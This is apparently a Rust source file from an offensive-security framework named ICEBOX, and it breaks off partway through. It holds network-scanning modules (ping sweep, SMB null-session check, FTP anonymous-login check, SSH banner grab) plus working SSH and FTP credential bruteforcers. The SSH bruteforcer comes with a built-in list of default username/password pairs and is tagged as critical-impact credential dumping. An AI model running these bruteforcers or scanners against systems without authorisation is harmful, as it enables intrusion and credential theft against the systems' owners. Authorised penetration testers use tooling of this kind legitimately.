Skip to main content

icebox/modules/
network_scanners.rs

1use crate::core::module::{Module, ModuleError, ModuleResult};
2use async_trait::async_trait;
3use icebox_macro::module;
4use std::sync::Arc;
5use tokio::sync::Semaphore;
6
7use crate::modules::hex_encode;
8
9#[module(
10    name = "ping_sweep",
11    kind = "Scanner",
12    description = "Discover live hosts on the local network via ICMP ping sweep",
13    author = "ICEBOX"
14)]
15pub struct ArpScanner {
16    #[option(
17        required = true,
18        help = "Target range: CIDR (192.168.1.0/24), range (192.168.1.1-100), or list (192.168.1.1,192.168.1.2)"
19    )]
20    pub targets: String,
21    #[option(help = "Timeout per host in seconds (default 2)")]
22    pub timeout_secs: u64,
23    #[option(help = "Maximum concurrent probes (default 50)")]
24    pub concurrency: usize,
25}
26
27fn parse_target_list(spec: &str) -> Result<Vec<String>, ModuleError> {
28    let mut ips = Vec::new();
29    for part in spec.split(',') {
30        let part = part.trim();
31        if part.is_empty() {
32            continue;
33        }
34        if let Some((base, cidr)) = part.split_once('/') {
35            let prefix: u8 = cidr
36                .parse()
37                .map_err(|_| ModuleError::Parse(format!("bad CIDR: {cidr}")))?;
38            let base_ip: std::net::Ipv4Addr = base
39                .parse()
40                .map_err(|_| ModuleError::Parse(format!("bad IP: {base}")))?;
41            let bits = 32u32 - prefix as u32;
42            let count = 1u32 << bits;
43            let start = u32::from(base_ip) & (0xFFFFFFFFu32 << bits);
44            let network = std::net::Ipv4Addr::from(start);
45            let broadcast = std::net::Ipv4Addr::from(start | (count - 1));
46            for i in 1..count - 1 {
47                let ip = std::net::Ipv4Addr::from(start + i);
48                if ip != network && ip != broadcast {
49                    ips.push(ip.to_string());
50                }
51            }
52        } else if let Some((lo, hi)) = part.split_once('-') {
53            let base_parts: Vec<&str> = lo.split('.').collect();
54            if base_parts.len() != 4 {
55                return Err(ModuleError::Parse("bad IP range format".into()));
56            }
57            let lo_octet: u8 = lo
58                .rsplit_once('.')
59                .map(|(_, o)| o)
60                .unwrap_or("")
61                .parse()
62                .map_err(|_| ModuleError::Parse("bad range".into()))?;
63            let hi_octet: u8 = hi
64                .trim()
65                .parse()
66                .map_err(|_| ModuleError::Parse("bad range".into()))?;
67            let prefix = lo.rsplit_once('.').map(|(p, _)| p).unwrap_or("");
68            for i in lo_octet..=hi_octet {
69                ips.push(format!("{prefix}.{i}"));
70            }
71        } else {
72            ips.push(part.to_string());
73        }
74    }
75    if ips.is_empty() {
76        return Err(ModuleError::Other("no targets specified".into()));
77    }
78    Ok(ips)
79}
80
81#[async_trait]
82impl Module for ArpScanner {
83    fn options_json(&self) -> serde_json::Value {
84        serde_json::to_value(&ArpScannerOptions {
85            targets: self.targets.clone(),
86            timeout_secs: self.timeout_secs,
87            concurrency: self.concurrency,
88        })
89        .unwrap_or(serde_json::Value::Null)
90    }
91
92    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
93        let mut o = ArpScannerOptions {
94            targets: self.targets.clone(),
95            timeout_secs: self.timeout_secs,
96            concurrency: self.concurrency,
97        };
98        o.set(name, value)?;
99        self.targets = o.targets;
100        self.timeout_secs = o.timeout_secs;
101        self.concurrency = o.concurrency;
102        Ok(())
103    }
104
105    fn validate(&self) -> Result<(), ModuleError> {
106        ArpScannerOptions {
107            targets: self.targets.clone(),
108            timeout_secs: self.timeout_secs,
109            concurrency: self.concurrency,
110        }
111        .validate()?;
112        parse_target_list(&self.targets).map(|_| ())
113    }
114
115    async fn run(&self) -> Result<ModuleResult, ModuleError> {
116        let ips = parse_target_list(&self.targets)?;
117        let timeout = if self.timeout_secs > 0 {
118            self.timeout_secs
119        } else {
120            2
121        };
122        let max_concurrency = if self.concurrency > 0 {
123            self.concurrency
124        } else {
125            50
126        };
127        let semaphore = Arc::new(Semaphore::new(max_concurrency));
128
129        let mut handles = Vec::new();
130        for ip in ips {
131            let permit = semaphore
132                .clone()
133                .acquire_owned()
134                .await
135                .map_err(|e| ModuleError::Other(e.to_string()))?;
136            handles.push(tokio::spawn(async move {
137                let _permit = permit;
138                let result = tokio::process::Command::new("ping")
139                    .arg("-c")
140                    .arg("1")
141                    .arg("-W")
142                    .arg(timeout.to_string())
143                    .arg(&ip)
144                    .output()
145                    .await;
146                match result {
147                    Ok(out) if out.status.success() => Some(ip),
148                    _ => None,
149                }
150            }));
151        }
152
153        let mut live_hosts: Vec<String> = Vec::new();
154        for h in handles {
155            if let Ok(Some(ip)) = h.await {
156                live_hosts.push(ip);
157            }
158        }
159        live_hosts.sort();
160        live_hosts.dedup();
161
162        let finding = if live_hosts.is_empty() {
163            "No live hosts found".to_string()
164        } else {
165            format!(
166                "Found {} live host(s): {}",
167                live_hosts.len(),
168                live_hosts.join(", ")
169            )
170        };
171
172        Ok(ModuleResult {
173            success: true,
174            finding: Some(finding),
175            evidence: live_hosts.iter().map(|h| format!("host/{h}")).collect(),
176            data: serde_json::json!({
177                "targets": self.targets,
178                "live_hosts": live_hosts,
179                "count": live_hosts.len(),
180            }),
181            ..Default::default()
182        })
183    }
184}
185
186#[module(
187    name = "smb_scanner",
188    kind = "Scanner",
189    description = "SMB service scanner  -  version detection and null session check",
190    author = "ICEBOX"
191)]
192pub struct SmbScanner {
193    #[option(required = true, help = "Target IP or hostname")]
194    pub host: String,
195    #[option(help = "SMB port (default 445)")]
196    pub port: u16,
197    #[option(help = "Timeout in milliseconds (default 5000)")]
198    pub timeout_ms: u64,
199    #[option(help = "Check null session on IPC$ (default true)")]
200    pub check_null_session: bool,
201}
202
203fn build_smb_negotiate() -> Vec<u8> {
204    let mut pkt = Vec::new();
205    pkt.extend_from_slice(b"\xFFSMB");
206    pkt.push(0x72);
207    pkt.extend_from_slice(&[0x00; 4]);
208    pkt.push(0x18);
209    pkt.extend_from_slice(&[0x01, 0x48]);
210    pkt.extend_from_slice(&[0x00; 12]);
211    pkt.extend_from_slice(&[0x00; 2]);
212    pkt.extend_from_slice(&[0x00; 2]);
213    pkt.extend_from_slice(&[0x00; 2]);
214    pkt.extend_from_slice(&[0x00; 2]);
215    pkt.push(0x00);
216    let dialects = b"\x02\x0BNT LM 0.12\x02\x08SMB 2.002";
217    let bcc = dialects.len() as u16;
218    pkt.extend_from_slice(&bcc.to_le_bytes());
219    pkt.extend_from_slice(dialects);
220    pkt
221}
222
223fn parse_smb_negotiate_response(data: &[u8]) -> (Option<String>, Option<u16>) {
224    if data.len() < 36 || data[0..4] != [0xFF, b'S', b'M', b'B'] {
225        return (None, None);
226    }
227    let cmd = data[4];
228    if cmd != 0x72 {
229        return (None, None);
230    }
231    let mut status_bytes = [0u8; 4];
232    status_bytes.copy_from_slice(&data[5..9]);
233    let status = u32::from_le_bytes(status_bytes);
234    if status != 0 {
235        return (Some("SMB present (non-zero status)".into()), None);
236    }
237    let wct = data[32] as usize;
238    if wct == 0 || data.len() < 33 + wct * 2 + 2 {
239        return (Some("SMBv1 present".into()), None);
240    }
241    if wct >= 1 {
242        let dialect_idx = u16::from_le_bytes([data[33], data[34]]);
243        if dialect_idx == 0xFFFF {
244            return (Some("SMBv1 present (no dialect selected)".into()), None);
245        }
246        let bcc_start = 33 + wct * 2;
247        if data.len() > bcc_start + 1 {
248            let bcc = u16::from_le_bytes([data[bcc_start], data[bcc_start + 1]]);
249            let version = if wct == 1 {
250                if data.len() >= 33 + wct * 2 + 2 + 4 {
251                    let dialect_rev =
252                        u16::from_le_bytes([data[bcc_start + 2 + 32], data[bcc_start + 2 + 33]]);
253                    Some(format!("SMBv2 (dialect 0x{dialect_rev:04x})"))
254                } else {
255                    Some("SMBv2 present".into())
256                }
257            } else {
258                let sec_mode = data[35];
259                let caps_start = 33 + 2 + 4 + 2 + 2 + 4 + 4;
260                if data.len() > caps_start + 3 {
261                    let caps = u32::from_le_bytes([
262                        data[caps_start],
263                        data[caps_start + 1],
264                        data[caps_start + 2],
265                        data[caps_start + 3],
266                    ]);
267                    Some(format!(
268                        "SMBv1 (security=0x{sec_mode:02x}, caps=0x{caps:08x})"
269                    ))
270                } else {
271                    Some(format!("SMBv1 (security=0x{sec_mode:02x})"))
272                }
273            };
274            return (version, Some(bcc));
275        }
276    }
277    (Some("SMB present".into()), None)
278}
279
280#[async_trait]
281impl Module for SmbScanner {
282    fn options_json(&self) -> serde_json::Value {
283        serde_json::to_value(&SmbScannerOptions {
284            host: self.host.clone(),
285            port: self.port,
286            timeout_ms: self.timeout_ms,
287            check_null_session: self.check_null_session,
288        })
289        .unwrap_or(serde_json::Value::Null)
290    }
291
292    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
293        let mut o = SmbScannerOptions {
294            host: self.host.clone(),
295            port: self.port,
296            timeout_ms: self.timeout_ms,
297            check_null_session: self.check_null_session,
298        };
299        o.set(name, value)?;
300        self.host = o.host;
301        self.port = o.port;
302        self.timeout_ms = o.timeout_ms;
303        self.check_null_session = o.check_null_session;
304        Ok(())
305    }
306
307    fn validate(&self) -> Result<(), ModuleError> {
308        SmbScannerOptions {
309            host: self.host.clone(),
310            port: self.port,
311            timeout_ms: self.timeout_ms,
312            check_null_session: self.check_null_session,
313        }
314        .validate()
315    }
316
317    async fn run(&self) -> Result<ModuleResult, ModuleError> {
318        let port = if self.port > 0 { self.port } else { 445 };
319        let timeout = if self.timeout_ms > 0 {
320            std::time::Duration::from_millis(self.timeout_ms)
321        } else {
322            std::time::Duration::from_secs(5)
323        };
324        let addr = crate::core::proxy::resolve_dial(&self.host, port);
325
326        let stream =
327            match tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await {
328                Ok(Ok(s)) => s,
329                Ok(Err(e)) => return Err(ModuleError::Other(format!("connection failed: {e}"))),
330                Err(_) => return Err(ModuleError::Other("connection timed out".into())),
331            };
332
333        let req = build_smb_negotiate();
334        if tokio::time::timeout(timeout, stream.writable())
335            .await
336            .is_err()
337        {
338            return Err(ModuleError::Other("write timeout".into()));
339        }
340        let _ = stream.try_write(&req);
341
342        let mut buf = vec![0u8; 4096];
343        let n = match tokio::time::timeout(timeout, stream.readable()).await {
344            Ok(Ok(_)) => stream.try_read(&mut buf).unwrap_or(0),
345            _ => 0,
346        };
347        if n < 36 {
348            return Ok(ModuleResult {
349                success: true,
350                finding: Some("SMB: no valid response received".into()),
351                data: serde_json::json!({"host": self.host, "port": port}),
352                ..Default::default()
353            });
354        }
355
356        let (version, _bcc) = parse_smb_negotiate_response(&buf[..n]);
357        let mut evidence = Vec::new();
358        let mut findings = Vec::new();
359
360        if let Some(ref ver) = version {
361            evidence.push(format!("smb/{ver}"));
362            findings.push(ver.clone());
363        } else {
364            evidence.push("smb/unrecognized".into());
365            findings.push("SMB service detected (unrecognized version)".into());
366        }
367
368        let null_session = if self.check_null_session {
369            let tcon_req = build_smb_treeconnect(&format!("\\\\{}\\IPC$", self.host), 0);
370            let _ = stream.try_write(&tcon_req);
371            let mut buf2 = vec![0u8; 1024];
372            let n2 = match tokio::time::timeout(timeout, stream.readable()).await {
373                Ok(Ok(_)) => stream.try_read(&mut buf2).unwrap_or(0),
374                _ => 0,
375            };
376            if n2 >= 36 && buf2[5..9] == [0x00, 0x00, 0x00, 0x00] {
377                findings.push("NULL session: IPC$ accessible (likely vulnerable)".into());
378                evidence.push("smb/null_session/ipc".into());
379                true
380            } else {
381                false
382            }
383        } else {
384            false
385        };
386
387        let mut finding_str = findings.join("; ");
388        if null_session {
389            finding_str.push_str("  -  WARNING: Null session allowed!");
390        }
391
392        Ok(ModuleResult {
393            success: true,
394            finding: Some(finding_str),
395            evidence,
396            data: serde_json::json!({
397                "host": self.host,
398                "port": port,
399                "version": version,
400                "null_session": null_session,
401            }),
402            ..Default::default()
403        })
404    }
405}
406
407fn build_smb_treeconnect(path: &str, uid: u16) -> Vec<u8> {
408    let mut pkt = Vec::new();
409    pkt.extend_from_slice(b"\xFFSMB");
410    pkt.push(0x75);
411    pkt.extend_from_slice(&[0x00; 4]);
412    pkt.push(0x18);
413    pkt.extend_from_slice(&[0x01, 0x48]);
414    pkt.extend_from_slice(&[0x00; 12]);
415    pkt.extend_from_slice(&[0x00; 2]);
416    pkt.extend_from_slice(&[0x00; 2]);
417    pkt.extend_from_slice(&uid.to_le_bytes());
418    pkt.extend_from_slice(&[0x00; 2]);
419    pkt.push(0x04);
420    pkt.extend_from_slice(&[0x00; 2]);
421    pkt.extend_from_slice(&[0x00; 2]);
422    let path_bytes = path.as_bytes();
423    let bcc = 1 + 4 + path_bytes.len();
424    pkt.extend_from_slice(&(bcc as u16).to_le_bytes());
425    pkt.push(0x04);
426    pkt.extend_from_slice(&(path_bytes.len() as u16).to_le_bytes());
427    pkt.extend_from_slice(path_bytes);
428    pkt
429}
430
431#[module(
432    name = "ftp_scanner",
433    kind = "Scanner",
434    description = "FTP service scanner  -  anonymous login check and banner grab",
435    author = "ICEBOX"
436)]
437pub struct FtpScanner {
438    #[option(required = true, help = "Target IP or hostname")]
439    pub host: String,
440    #[option(help = "FTP port (default 21)")]
441    pub port: u16,
442    #[option(help = "Timeout in milliseconds (default 5000)")]
443    pub timeout_ms: u64,
444    #[option(help = "Try anonymous login (default true)")]
445    pub check_anonymous: bool,
446}
447
448#[async_trait]
449impl Module for FtpScanner {
450    fn options_json(&self) -> serde_json::Value {
451        serde_json::to_value(&FtpScannerOptions {
452            host: self.host.clone(),
453            port: self.port,
454            timeout_ms: self.timeout_ms,
455            check_anonymous: self.check_anonymous,
456        })
457        .unwrap_or(serde_json::Value::Null)
458    }
459
460    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
461        let mut o = FtpScannerOptions {
462            host: self.host.clone(),
463            port: self.port,
464            timeout_ms: self.timeout_ms,
465            check_anonymous: self.check_anonymous,
466        };
467        o.set(name, value)?;
468        self.host = o.host;
469        self.port = o.port;
470        self.timeout_ms = o.timeout_ms;
471        self.check_anonymous = o.check_anonymous;
472        Ok(())
473    }
474
475    fn validate(&self) -> Result<(), ModuleError> {
476        FtpScannerOptions {
477            host: self.host.clone(),
478            port: self.port,
479            timeout_ms: self.timeout_ms,
480            check_anonymous: self.check_anonymous,
481        }
482        .validate()
483    }
484
485    async fn run(&self) -> Result<ModuleResult, ModuleError> {
486        let port = if self.port > 0 { self.port } else { 21 };
487        let timeout = std::time::Duration::from_millis(if self.timeout_ms > 0 {
488            self.timeout_ms
489        } else {
490            5000
491        });
492        let addr = crate::core::proxy::resolve_dial(&self.host, port);
493
494        let stream =
495            match tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await {
496                Ok(Ok(s)) => s,
497                Ok(Err(e)) => return Err(ModuleError::Other(format!("connection failed: {e}"))),
498                Err(_) => return Err(ModuleError::Other("connection timed out".into())),
499            };
500
501        async fn read_response(
502            s: &tokio::net::TcpStream,
503            t: std::time::Duration,
504        ) -> Result<String, ModuleError> {
505            let mut buf = vec![0u8; 4096];
506            let n = match tokio::time::timeout(t, s.readable()).await {
507                Ok(Ok(_)) => s.try_read(&mut buf).unwrap_or(0),
508                _ => return Err(ModuleError::Other("read timeout".into())),
509            };
510            Ok(String::from_utf8_lossy(&buf[..n.min(4000)]).to_string())
511        }
512
513        async fn send_command(
514            s: &tokio::net::TcpStream,
515            cmd: &[u8],
516            t: std::time::Duration,
517        ) -> Result<(), ModuleError> {
518            match tokio::time::timeout(t, s.writable()).await {
519                Ok(Ok(_)) => {
520                    s.try_write(cmd)
521                        .map_err(|e| ModuleError::Other(format!("write: {e}")))?;
522                    Ok(())
523                }
524                _ => Err(ModuleError::Other("write timeout".into())),
525            }
526        }
527
528        let banner = read_response(&stream, timeout).await.unwrap_or_default();
529        let banner_short = banner.lines().next().unwrap_or(&banner).trim().to_string();
530
531        let mut findings = Vec::new();
532        let mut evidence = Vec::new();
533        findings.push(format!("banner: {banner_short}"));
534
535        let anonymous_success = if self.check_anonymous {
536            send_command(&stream, b"USER anonymous\r\n", timeout)
537                .await
538                .ok();
539            let user_resp = read_response(&stream, timeout).await.unwrap_or_default();
540            let is_331 = user_resp.starts_with("331");
541            if is_331 {
542                send_command(&stream, b"PASS anonymous@\r\n", timeout)
543                    .await
544                    .ok();
545                let pass_resp = read_response(&stream, timeout).await.unwrap_or_default();
546                let logged_in = pass_resp.starts_with("230");
547                if logged_in {
548                    send_command(&stream, b"SYST\r\n", timeout).await.ok();
549                    let syst = read_response(&stream, timeout).await.unwrap_or_default();
550                    let syst_line = syst.lines().next().unwrap_or("").trim().to_string();
551                    findings.push(format!("anonymous login: SUCCESS (SYST: {syst_line})"));
552                    evidence.push("ftp/anonymous_login".into());
553
554                    send_command(&stream, b"PWD\r\n", timeout).await.ok();
555                    let pwd = read_response(&stream, timeout).await.unwrap_or_default();
556                    let pwd_line = pwd.lines().next().unwrap_or("").trim().to_string();
557                    if !pwd_line.is_empty() {
558                        evidence.push(format!("ftp/pwd: {pwd_line}"));
559                    }
560                    true
561                } else {
562                    let err = pass_resp.lines().next().unwrap_or("").trim().to_string();
563                    findings.push(format!("anonymous login: FAILED ({err})"));
564                    false
565                }
566            } else {
567                findings.push("anonymous login: not supported (no 331)".into());
568                false
569            }
570        } else {
571            false
572        };
573
574        let _ = stream.try_write(b"QUIT\r\n");
575
576        let finding = if anonymous_success {
577            format!(
578                "FTP on tcp/{port}: {}  -  anonymous login enabled!",
579                banner_short
580            )
581        } else {
582            format!("FTP on tcp/{port}: {}", findings.join("; "))
583        };
584
585        Ok(ModuleResult {
586            success: true,
587            finding: Some(finding),
588            evidence,
589            data: serde_json::json!({
590                "host": self.host,
591                "port": port,
592                "banner": banner_short,
593                "anonymous_login": anonymous_success,
594            }),
595            ..Default::default()
596        })
597    }
598}
599
600#[module(
601    name = "ssh_scanner",
602    kind = "Scanner",
603    description = "SSH service scanner  -  version detection and auth method enumeration",
604    author = "ICEBOX"
605)]
606pub struct SshScanner {
607    #[option(required = true, help = "Target IP or hostname")]
608    pub host: String,
609    #[option(help = "SSH port (default 22)")]
610    pub port: u16,
611    #[option(help = "Timeout in milliseconds (default 5000)")]
612    pub timeout_ms: u64,
613}
614
615#[async_trait]
616impl Module for SshScanner {
617    fn options_json(&self) -> serde_json::Value {
618        serde_json::to_value(&SshScannerOptions {
619            host: self.host.clone(),
620            port: self.port,
621            timeout_ms: self.timeout_ms,
622        })
623        .unwrap_or(serde_json::Value::Null)
624    }
625
626    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
627        let mut o = SshScannerOptions {
628            host: self.host.clone(),
629            port: self.port,
630            timeout_ms: self.timeout_ms,
631        };
632        o.set(name, value)?;
633        self.host = o.host;
634        self.port = o.port;
635        self.timeout_ms = o.timeout_ms;
636        Ok(())
637    }
638
639    fn validate(&self) -> Result<(), ModuleError> {
640        SshScannerOptions {
641            host: self.host.clone(),
642            port: self.port,
643            timeout_ms: self.timeout_ms,
644        }
645        .validate()
646    }
647
648    async fn run(&self) -> Result<ModuleResult, ModuleError> {
649        let port = if self.port > 0 { self.port } else { 22 };
650        let timeout = std::time::Duration::from_millis(if self.timeout_ms > 0 {
651            self.timeout_ms
652        } else {
653            5000
654        });
655        let addr = crate::core::proxy::resolve_dial(&self.host, port);
656
657        let stream =
658            match tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await {
659                Ok(Ok(s)) => s,
660                Ok(Err(e)) => return Err(ModuleError::Other(format!("connection failed: {e}"))),
661                Err(_) => return Err(ModuleError::Other("connection timed out".into())),
662            };
663
664        let mut buf = vec![0u8; 4096];
665        let n = match tokio::time::timeout(timeout, stream.readable()).await {
666            Ok(Ok(_)) => stream.try_read(&mut buf).unwrap_or(0),
667            _ => 0,
668        };
669
670        if n == 0 {
671            return Ok(ModuleResult {
672                success: true,
673                finding: Some(format!("SSH on tcp/{port}: no banner received")),
674                data: serde_json::json!({"host": self.host, "port": port}),
675                ..Default::default()
676            });
677        }
678
679        let raw = &buf[..n.min(1024)];
680        let resp = String::from_utf8_lossy(raw).to_string();
681        let banner = resp.lines().next().unwrap_or("").trim().to_string();
682
683        let has_kex = n > banner.len() + 1;
684
685        let mut evidence = Vec::new();
686        evidence.push(format!("ssh/banner: {banner}"));
687
688        let finding = if banner.starts_with("SSH-") {
689            format!("SSH on tcp/{port}: {banner}")
690        } else {
691            format!("SSH on tcp/{port}: unrecognized banner: {banner}")
692        };
693
694        Ok(ModuleResult {
695            success: true,
696            finding: Some(finding),
697            evidence,
698            data: serde_json::json!({
699                "host": self.host,
700                "port": port,
701                "banner": banner,
702                "has_kex_init": has_kex,
703                "raw_hex": hex_encode(&buf[..n.min(128)]),
704            }),
705            ..Default::default()
706        })
707    }
708}
709
710const SSH_COMMON_CREDS: &[(&str, &str)] = &[
711    ("root", "root"),
712    ("root", "admin"),
713    ("root", "toor"),
714    ("root", "password"),
715    ("root", "1234"),
716    ("root", "1"),
717    ("root", "!"),
718    ("root", "changeme"),
719    ("admin", "admin"),
720    ("admin", "password"),
721    ("admin", "1234"),
722    ("admin", "admin123"),
723    ("administrator", "administrator"),
724    ("administrator", "password"),
725    ("user", "user"),
726    ("user", "password"),
727    ("user", "1234"),
728    ("test", "test"),
729    ("guest", "guest"),
730    ("pi", "raspberry"),
731    ("ubuntu", "ubuntu"),
732    ("debian", "debian"),
733    ("oracle", "oracle"),
734    ("postgres", "postgres"),
735    ("nagios", "nagios"),
736    ("jenkins", "jenkins"),
737];
738
739#[module(
740    name = "ssh_bruteforce",
741    kind = "Scanner",
742    capabilities = "CredentialAccess",
743    intent = "Dump",
744    impact = "Critical",
745    description = "SSH credential bruteforcer  -  test username/password pairs via sshpass",
746    author = "ICEBOX"
747)]
748pub struct SshBruteforce {
749    #[option(required = true, help = "Target IP or hostname")]
750    pub host: String,
751    #[option(help = "SSH port (default 22)")]
752    pub port: u16,
753    #[option(
754        help = "Credentials in user:pass format, comma-separated (default: built-in wordlist)"
755    )]
756    pub wordlist: String,
757    #[option(help = "Timeout per attempt in seconds (default 5)")]
758    pub timeout_secs: u64,
759    #[option(help = "Maximum concurrent attempts (default 10)")]
760    pub concurrency: usize,
761}
762
763fn parse_creds(wordlist: &str) -> Vec<(String, String)> {
764    if wordlist.is_empty() {
765        return SSH_COMMON_CREDS
766            .iter()
767            .map(|(u, p)| (u.to_string(), p.to_string()))
768            .collect();
769    }
770    wordlist
771        .split(',')
772        .filter_map(|pair| {
773            let pair = pair.trim();
774            if let Some((u, p)) = pair.split_once(':') {
775                let u = u.trim();
776                let p = p.trim();
777                if !u.is_empty() {
778                    Some((u.to_string(), p.to_string()))
779                } else {
780                    None
781                }
782            } else {
783                None
784            }
785        })
786        .collect()
787}
788
789#[async_trait]
790impl Module for SshBruteforce {
791    fn options_json(&self) -> serde_json::Value {
792        serde_json::to_value(&SshBruteforceOptions {
793            host: self.host.clone(),
794            port: self.port,
795            wordlist: self.wordlist.clone(),
796            timeout_secs: self.timeout_secs,
797            concurrency: self.concurrency,
798        })
799        .unwrap_or(serde_json::Value::Null)
800    }
801
802    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
803        let mut o = SshBruteforceOptions {
804            host: self.host.clone(),
805            port: self.port,
806            wordlist: self.wordlist.clone(),
807            timeout_secs: self.timeout_secs,
808            concurrency: self.concurrency,
809        };
810        o.set(name, value)?;
811        self.host = o.host;
812        self.port = o.port;
813        self.wordlist = o.wordlist;
814        self.timeout_secs = o.timeout_secs;
815        self.concurrency = o.concurrency;
816        Ok(())
817    }
818
819    fn validate(&self) -> Result<(), ModuleError> {
820        SshBruteforceOptions {
821            host: self.host.clone(),
822            port: self.port,
823            wordlist: self.wordlist.clone(),
824            timeout_secs: self.timeout_secs,
825            concurrency: self.concurrency,
826        }
827        .validate()
828    }
829
830    async fn run(&self) -> Result<ModuleResult, ModuleError> {
831        let port = if self.port > 0 { self.port } else { 22 };
832        let timeout_secs = if self.timeout_secs > 0 {
833            self.timeout_secs
834        } else {
835            5
836        };
837        let max_concurrency = if self.concurrency > 0 {
838            self.concurrency
839        } else {
840            10
841        };
842        let creds = parse_creds(&self.wordlist);
843        let host = self.host.clone();
844
845        let has_sshpass = tokio::process::Command::new("which")
846            .arg("sshpass")
847            .output()
848            .await
849            .ok()
850            .is_some_and(|o| o.status.success());
851
852        if !has_sshpass {
853            return Err(ModuleError::Other(
854                "sshpass not found. Install with: brew install sshpass (macOS) or apt install sshpass (Linux)".into()
855            ));
856        }
857
858        let semaphore = Arc::new(Semaphore::new(max_concurrency));
859        let mut handles = Vec::new();
860
861        for (user, pass) in &creds {
862            let permit = match semaphore.clone().acquire_owned().await {
863                Ok(p) => p,
864                Err(_) => continue,
865            };
866            let user = user.clone();
867            let pass = pass.clone();
868            let host = host.clone();
869            handles.push(tokio::spawn(async move {
870                let _permit = permit;
871                let result = tokio::process::Command::new("sshpass")
872                    .arg("-p")
873                    .arg(&pass)
874                    .arg("ssh")
875                    .arg("-o")
876                    .arg("StrictHostKeyChecking=no")
877                    .arg("-o")
878                    .arg("UserKnownHostsFile=/dev/null")
879                    .arg("-o")
880                    .arg(format!("ConnectTimeout={timeout_secs}"))
881                    .arg("-p")
882                    .arg(port.to_string())
883                    .arg(format!("{user}@{host}"))
884                    .arg("id")
885                    .output()
886                    .await;
887                match result {
888                    Ok(out) if out.status.success() => {
889                        let id_str = String::from_utf8_lossy(&out.stdout).trim().to_string();
890                        Some((user, pass, id_str))
891                    }
892                    _ => None,
893                }
894            }));
895        }
896
897        let mut found: Vec<serde_json::Value> = Vec::new();
898        for h in handles {
899            if let Ok(Some((user, pass, id_str))) = h.await {
900                found.push(serde_json::json!({
901                    "username": user,
902                    "password": pass,
903                    "id": id_str,
904                }));
905            }
906        }
907
908        let evidence: Vec<String> = found
909            .iter()
910            .map(|c| {
911                let u = c["username"].as_str().unwrap_or("");
912                let p = c["password"].as_str().unwrap_or("");
913                format!("ssh/cred:{u}:{p}")
914            })
915            .collect();
916
917        let finding = if found.is_empty() {
918            format!(
919                "SSH bruteforce on tcp/{port}: no valid credentials found (tried {} pairs)",
920                creds.len()
921            )
922        } else {
923            let details: Vec<String> = found
924                .iter()
925                .map(|c| {
926                    let u = c["username"].as_str().unwrap_or("");
927                    let p = c["password"].as_str().unwrap_or("");
928                    format!("{u}:{p}")
929                })
930                .collect();
931            format!(
932                "SSH bruteforce on tcp/{port}: FOUND {} valid credential(s): {}",
933                found.len(),
934                details.join(", ")
935            )
936        };
937
938        Ok(ModuleResult {
939            success: !found.is_empty(),
940            finding: Some(finding),
941            evidence,
942            data: serde_json::json!({
943                "host": self.host,
944                "port": port,
945                "found_credentials": found,
946                "tried_count": creds.len(),
947            }),
948            ..Default::default()
949        })
950    }
951}
952
953#[module(
954    name = "ftp_bruteforce",
955    kind = "Scanner",
956    capabilities = "CredentialAccess",
957    intent = "Dump",
958    impact = "Critical",
959    description = "FTP credential bruteforcer  -  test username/password pairs via FTP protocol",
960    author = "ICEBOX"
961)]
962pub struct FtpBruteforce {
963    #[option(required = true, help = "Target IP or hostname")]
964    pub host: String,
965    #[option(help = "FTP port (default 21)")]
966    pub port: u16,
967    #[option(
968        help = "Credentials in user:pass format, comma-separated (default: built-in wordlist)"
969    )]
970    pub wordlist: String,
971    #[option(help = "Timeout per attempt in milliseconds (default 5000)")]
972    pub timeout_ms: u64,
973    #[option(help = "Maximum concurrent attempts (default 10)")]
974    pub concurrency: usize,
975}
976
977#[async_trait]
978impl Module for FtpBruteforce {
979    fn options_json(&self) -> serde_json::Value {
980        serde_json::to_value(&FtpBruteforceOptions {
981            host: self.host.clone(),
982            port: self.port,
983            wordlist: self.wordlist.clone(),
984            timeout_ms: self.timeout_ms,
985            concurrency: self.concurrency,
986        })
987        .unwrap_or(serde_json::Value::Null)
988    }
989
990    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
991        let mut o = FtpBruteforceOptions {
992            host: self.host.clone(),
993            port: self.port,
994            wordlist: self.wordlist.clone(),
995            timeout_ms: self.timeout_ms,
996            concurrency: self.concurrency,
997        };
998        o.set(name, value)?;
999        self.host = o.host;
1000        self.port = o.port;
1001        self.wordlist = o.wordlist;
1002        self.timeout_ms = o.timeout_ms;
1003        self.concurrency = o.concurrency;
1004        Ok(())
1005    }
1006
1007    fn validate(&self) -> Result<(), ModuleError> {
1008        FtpBruteforceOptions {
1009            host: self.host.clone(),
1010            port: self.port,
1011            wordlist: self.wordlist.clone(),
1012            timeout_ms: self.timeout_ms,
1013            concurrency: self.concurrency,
1014        }
1015        .validate()
1016    }
1017
1018    async fn run(&self) -> Result<ModuleResult, ModuleError> {
1019        let port = if self.port > 0 { self.port } else { 21 };
1020        let timeout = std::time::Duration::from_millis(if self.timeout_ms > 0 {
1021            self.timeout_ms
1022        } else {
1023            5000
1024        });
1025        let max_concurrency = if self.concurrency > 0 {
1026            self.concurrency
1027        } else {
1028            10
1029        };
1030        let creds = parse_creds(&self.wordlist);
1031        let host = self.host.clone();
1032
1033        async fn try_ftp_login(
1034            host: &str,
1035            port: u16,
1036            user: &str,
1037            pass: &str,
1038            timeout: std::time::Duration,
1039        ) -> Option<(String, String)> {
1040            let addr = crate::core::proxy::resolve_dial(host, port);
1041            let stream = tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr))
1042                .await
1043                .ok()?
1044                .ok()?;
1045            let mut buf = vec![0u8; 4096];
1046            let n = tokio::time::timeout(timeout, stream.readable())
1047                .await
1048                .ok()?
1049                .map(|_| stream.try_read(&mut buf).unwrap_or(0))
1050                .unwrap_or(0);
1051            if n == 0 {
1052                return None;
1053            }
1054            let _ = stream
1055                .try_write(format!("USER {user}\r\n").as_bytes())
1056                .ok()?;
1057            tokio::time::sleep(std::time::Duration::from_millis(200)).await;
1058            let mut buf2 = vec![0u8; 4096];
1059            let n2 = tokio::time::timeout(timeout, stream.readable())
1060                .await
1061                .ok()?
